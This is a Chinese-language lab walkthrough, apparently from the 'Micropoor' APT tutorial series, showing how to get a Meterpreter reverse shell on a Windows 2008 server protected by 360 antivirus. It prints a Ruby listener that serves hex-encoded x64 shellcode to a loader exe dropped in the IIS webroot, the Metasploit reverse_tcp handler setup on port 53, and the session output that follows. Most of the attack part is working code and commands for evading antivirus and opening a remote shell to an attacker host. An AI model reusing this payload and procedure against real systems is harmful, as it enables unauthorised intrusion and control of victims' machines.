专注APT攻击与防御

https://micropoor.blogspot.com/

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.2 Windows 2008目标机安装：360卫士+360杀毒

1

2 [\*] 磁盘列表 [ C:D:E: ]

3

4 C:\inetpub\wwwroot\> tasklist 5

6 映像名称 PID 会话名 会话# 内存使用

7 ========================= ======== ================ =========== ============

8 System Idle Process 0 0 24 K

9 System 4 0 372 K

10 smss.exe 236 0 956 K

11 csrss.exe 324 0 5,572 K

12 csrss.exe 364 1 14,452 K

13 wininit.exe 372 0 4,508 K

14 winlogon.exe 408 1 5,364 K

15 services.exe 468 0 7,376 K

16 lsass.exe 476 0 9,896 K

17 lsm.exe 484 0 3,876 K

18 svchost.exe 576 0 8,684 K

19 vmacthlp.exe 632 0 3,784 K

20 svchost.exe 676 0 7,384 K

21 svchost.exe 764 0 12,716 K

22 svchost.exe 800 0 29,792 K

23 svchost.exe 848 0 11,248 K

24 svchost.exe 900 0 9,308 K

25 svchost.exe 940 0 16,184 K

26 svchost.exe 332 0 11,800 K

27 spoolsv.exe 548 0 15,568 K

28 svchost.exe 1052 0 8,228 K

29 svchost.exe 1076 0 8,808 K

30 svchost.exe 1144 0 2,576 K

31 VGAuthService.exe 1216 0 10,360 K

32 vmtoolsd.exe 1300 0 18,068 K

33 ManagementAgentHost.exe 1332 0 8,844 K

34 svchost.exe 1368 0 11,884 K

35 WmiPrvSE.exe 1768 0 13,016 K

36 dllhost.exe 1848 0 11,224 K

37 msdtc.exe 1940 0 7,736 K

38 WmiPrvSE.exe 1440 0 19,768 K

39 mscorsvw.exe 296 0 4,732 K

40 mscorsvw.exe 584 0 5,088 K

41 sppsvc.exe 1476 0 8,408 K

42 taskhost.exe 2612 1 6,344 K

43 dwm.exe 2868 1 4,604 K

44 explorer.exe 2896 1 44,912 K

45 vmtoolsd.exe 3008 1 17,744 K

46 TrustedInstaller.exe 2268 0 15,776 K

47 360Tray.exe 2684 1 6,056 K

48 360sd.exe 2636 1 1,316 K

49 ZhuDongFangYu.exe 2456 0 14,292 K

50 360rp.exe 1712 1 27,072 K

51 SoftMgrLite.exe 864 1 16,816 K

52 w3wp.exe 3300 0 42,836 K

53 svchost.exe 3840 0 4,584 K

54 notepad.exe 3712 1 5,772 K

55 cmd.exe 3384 0 2,376 K

56 conhost.exe 3520 0 3,420 K

57 tasklist.exe 3096 0 5,276 K 58

1 C:\> dir

2 驱动器 C 中的卷没有标签。

3 卷的序列号是 C6F8‐9BAB

4

5 C:\ 的目录

6

7 2017/12/13 03:28 <DIR> inetpub

8 2009/07/14 11:20 <DIR> PerfLogs

9 2017/12/13 03:28 <DIR> Program Files

10 2019/01/23 14:09 <DIR> Program Files (x86)

11 2019/01/23 14:15 <DIR> Users

12 2017/12/13 03:25 <DIR> Windows

13 0 个文件 0 字节

14 6 个目录 21,387,132,928 可用字节

15

目标机位x64位 Windows 2008

1 C:\> ver 2

3 Microsoft Windows [版本 6.1.7600]

配置payload：

1 root@John:/var/www/html# cat ./Micropoor\_rev.rb

2 require 'socket'

3 if ARGV.empty?

4 puts "Usage:"

5 puts "Micropoor.rb port"

6 exit

7 end 8

9 PORT = ARGV.first.to\_i 10

11 def handle\_connection(client)

12 puts "Payload is on‐line #{client}" 13

14 client.write("4831c94881e9c0ffffff488d05efffffff48bb32667fcceeadb9f74 8315827482df8ffffffe2f4ce2efc281e4575f732663e9daffdeba6642e4e1e8be532a552 2ef49ef6e532a5122ef4bebee5b640782c32fd27e588379e5a1eb0ec8199b6f3af728def6 c5b1a60272e8465ff997c705a37cd3ecb388f2a6d7dc36bdfb9f732edff44eeadb9bfb7a6 0baba6ac69a7b92e678865ed99be33b69c9aa65270b6b952f784ef7bf4c6fb2e4e0c42ec7 83e3f277e0dd64dcc067e6533e8e6e8802647be278865ed9dbe33b6198d65a1f1b3b92663 85ef7df87c36ee37cd3eece1b66a382696aff5f8ae733c374f028df8a5cd86278db7f7f17 c208f34331152e4be8c110cfeb19e8bf732272985674bf176dec67ecceee430127bda7dcc ee98795f33623e98a7245dbbbb973e76a2da9ff0cdb3334504c5b8f63266268d5484399c3 299aaa6e4ece7a7622b4e05a39c79bfcda637452ce546377aefbe8d5447b628d299aa8467 6ad3e7733e33450ce5300e73dce6699acc4622b7a60bc6a7527782d78eeccceeadf174de7 637450ce0883e58623e94a62440b68864a604b1526c74ca660199a62e7dd76cef89a6aeec e09f32767fccaff5f17ec02e4e05af17e15361838019a6247abebba132fd27e430077aefa 5846754f84d30bfb79311783a0f321b5794affae09f32267fccaff5d3f76827c5c7c1a289 08e731268d54d8d7ba5399aa85116350cbcd998084ef6ef1def42efa3a9b19f808d53e15c cb7e47e35c2d3dd9a1178b9f7")

15 client.close

16 end 17

18 socket = TCPServer.new('0.0.0.0', PORT)

19 puts "Listening on #{PORT}. " 20

21 while client = socket.accept

22 Thread.new { handle\_connection(client)}

23 end 24

25 root@John:/var/www/html# ruby ./Micropoor\_rev.rb 8080

26 Listening on 8080. 27

上传Micropoor\_shellcode\_x64.exe

配置msf：

1 msf exploit(multi/handler) > use exploit/multi/handler

2 msf exploit(multi/handler) > set payload windows/x64/meterpreter/rever se\_tcp

3 payload => windows/x64/meterpreter/reverse\_tcp

4 msf exploit(multi/handler) > show options 5

6 Module options (exploit/multi/handler):

7

8 Name Current Setting Required Description

9 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 10

11

12 Payload options (windows/x64/meterpreter/reverse\_tcp): 13

14 Name Current Setting Required Description

15 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

16 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

17 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

18 LPORT 53 yes The listen port 19

20

21 Exploit target: 22

23 Id Name

24 ‐‐ ‐‐‐‐

25 0 Wildcard Target 26

27

28 msf exploit(multi/handler) > exploit 29

30 [\*] Started reverse TCP handler on 192.168.1.4:53 31

靶机执行：

1 msf exploit(multi/handler) > exploit 2

3 [\*] Started reverse TCP handler on 192.168.1.4:53

4 [\*] Sending stage (206403 bytes) to 192.168.1.2

5 [\*] Meterpreter session 6 opened (192.168.1.4:53 ‐> 192.168.1.2:49744) at 2019‐01‐23 01:29:00 ‐0500

6

7 meterpreter > getuid

8 Server username: IIS APPPOOL\DefaultAppPool

9 meterpreter > sysinfo

10 Computer : WIN‐5BMI9HGC42S

11 OS : Windows 2008 R2 (Build 7600).

12 Architecture : x64

13 System Language : zh\_CN

14 Domain : WORKGROUP

15 Logged On Users : 1

16 Meterpreter : x64/windows

17 meterpreter > ipconfig 18

19 Interface 1

20 ============

21 Name : Software Loopback Interface 1

22 Hardware MAC : 00:00:00:00:00:00

23 MTU : 4294967295

24 IPv4 Address : 127.0.0.1

25 IPv4 Netmask : 255.0.0.0

26 IPv6 Address : ::1

27 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff 28

29

30 Interface 11

31 ============

32 Name : Intel(R) PRO/1000 MT Network Connection

33 Hardware MAC : 00:0c:29:bc:0d:5c

34 MTU : 1500

35 IPv4 Address : 192.168.1.2

36 IPv4 Netmask : 255.255.255.0

37 IPv6 Address : fe80::5582:70c8:a5a8:8223

38 IPv6 Netmask : ffff:ffff:ffff:ffff:: 39

1 meterpreter > ps 2

3 Process List

4 ============ 5

6 PID PPID Name Arch Session User Path

7 ‐‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐

8 0 0 [System Process]

9 4 0 System

10 236 4 smss.exe

11 296 468 mscorsvw.exe

12 324 316 csrss.exe

13 332 468 svchost.exe

14 364 356 csrss.exe

15 372 316 wininit.exe

16 408 356 winlogon.exe

17 468 372 services.exe

18 476 372 lsass.exe

19 484 372 lsm.exe

20 548 468 spoolsv.exe

21 576 468 svchost.exe

22 584 468 mscorsvw.exe

23 632 468 vmacthlp.exe

24 676 468 svchost.exe

25 764 468 svchost.exe

26 800 468 svchost.exe

27 848 468 svchost.exe

28 864 2684 SoftMgrLite.exe

29 900 468 svchost.exe

30 940 468 svchost.exe

31 1052 468 svchost.exe

32 1076 468 svchost.exe

33 1144 468 svchost.exe

34 1216 468 VGAuthService.exe

35 1300 468 vmtoolsd.exe

36 1332 468 ManagementAgentHost.exe

37 1368 468 svchost.exe

38 1440 576 WmiPrvSE.exe

39 1476 468 sppsvc.exe

40 1712 2636 360rp.exe

41 1768 576 WmiPrvSE.exe

42 1848 468 dllhost.exe

43 1940 468 msdtc.exe

44 2456 468 ZhuDongFangYu.exe

45 2612 468 taskhost.exe

46 2636 1096 360sd.exe

47 2684 1096 360Tray.exe

48 2788 3408 Micropoor\_shellcode\_x64.exe x64 0 IIS APPPOOL\DefaultAppPoo l C:\inetpub\wwwroot\Micropoor\_shellcode\_x64.exe

49 2868 900 dwm.exe

50 2896 2852 explorer.exe

51 3008 2896 vmtoolsd.exe

52 3196 468 svchost.exe

53 3300 1368 w3wp.exe x64 0 IIS APPPOOL\DefaultAppPool c:\windows\system 32\inetsrv\w3wp.exe

54 3408 3300 cmd.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\system3 2\cmd.exe

55 3712 2896 notepad.exe

56 4092 324 conhost.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\syst em32\conhost.exe

57

58 meterpreter > 59

靶机：

附录：

Micropoor\_shellcode for payload backdoor

https://micropoor.blogspot.com/2019/01/micropoorshellcode-for-payload-

backdoor.html

Micropoor